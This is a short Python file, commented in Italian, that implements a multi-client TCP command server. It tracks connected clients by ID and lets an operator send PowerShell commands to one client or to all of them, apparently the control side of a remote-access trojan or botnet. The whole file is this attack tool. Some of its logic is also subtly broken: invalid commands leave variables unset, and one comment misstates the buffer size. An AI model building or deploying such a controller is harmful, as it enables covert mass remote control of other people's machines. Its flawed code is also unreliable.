95 lines
2.8 KiB
Python
95 lines
2.8 KiB
Python
import socket
|
|
import threading
|
|
|
|
IP = "0.0.0.0"
|
|
PORT = 6134
|
|
BIND = IP + ":" + str(PORT)
|
|
|
|
clients = {}
|
|
client_id_counter = 1
|
|
lock = threading.Lock()
|
|
|
|
def client_receive(conn, addr, client_id):
|
|
while True:
|
|
try:
|
|
data = conn.recv(4096) # Aumentato il buffer a 1024
|
|
if not data:
|
|
break
|
|
msg = data.decode("utf-8") # CORRETTO: decode invece di encode
|
|
print(f"[Client {client_id} - {addr}] {msg}")
|
|
except:
|
|
break
|
|
|
|
with lock:
|
|
print(f"Connessione chiusa dal client {client_id}")
|
|
if client_id in clients:
|
|
del clients[client_id]
|
|
conn.close()
|
|
|
|
def client_send():
|
|
while True:
|
|
comando = input("comando> ")
|
|
|
|
if comando == "list":
|
|
with lock:
|
|
if not clients:
|
|
print("Nessun client connesso")
|
|
else:
|
|
for cid, (conn, addr) in clients.items():
|
|
print(f"Client {cid}: {addr}")
|
|
continue
|
|
|
|
elif ":" not in comando:
|
|
print("Formato: <id|all>: comando")
|
|
continue
|
|
target, msg = comando.split(":", 1)
|
|
|
|
if(msg == "ps" or msg == "powershell"):
|
|
msg = 10
|
|
msg = msg.to_bytes(1)
|
|
arg = input("Remote Command: ")
|
|
else:
|
|
{
|
|
print("Comando non valido")
|
|
}
|
|
|
|
with lock:
|
|
if target.strip().lower() == "all":
|
|
for cid, (conn, _) in clients.items():
|
|
conn.sendall(msg)
|
|
conn.sendall(arg.encode("utf-8"))
|
|
else:
|
|
try:
|
|
cid = int(target.strip())
|
|
if cid in clients:
|
|
clients[cid][0].sendall(msg)
|
|
clients[cid][0].sendall(arg.encode("utf-8"))
|
|
else:
|
|
print("Nessun client trovato")
|
|
except ValueError:
|
|
print("ID Non Valido")
|
|
|
|
def main():
|
|
global client_id_counter
|
|
|
|
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
server_socket.bind((IP, PORT))
|
|
server_socket.listen()
|
|
print(f"Server in ascolto su {BIND}")
|
|
|
|
# Avvia il thread per l'invio dei comandi
|
|
threading.Thread(target=client_send, daemon=True).start()
|
|
|
|
while True:
|
|
conn, addr = server_socket.accept()
|
|
with lock:
|
|
cid = client_id_counter
|
|
client_id_counter += 1
|
|
clients[cid] = (conn, addr)
|
|
print(f"Nuova connessione da {addr} assegnata ID: {cid}")
|
|
|
|
# Avvia il thread per ricevere i messaggi dal client
|
|
threading.Thread(target=client_receive, args=(conn, addr, cid), daemon=True).start()
|
|
|
|
if __name__ == "__main__":
|
|
main() |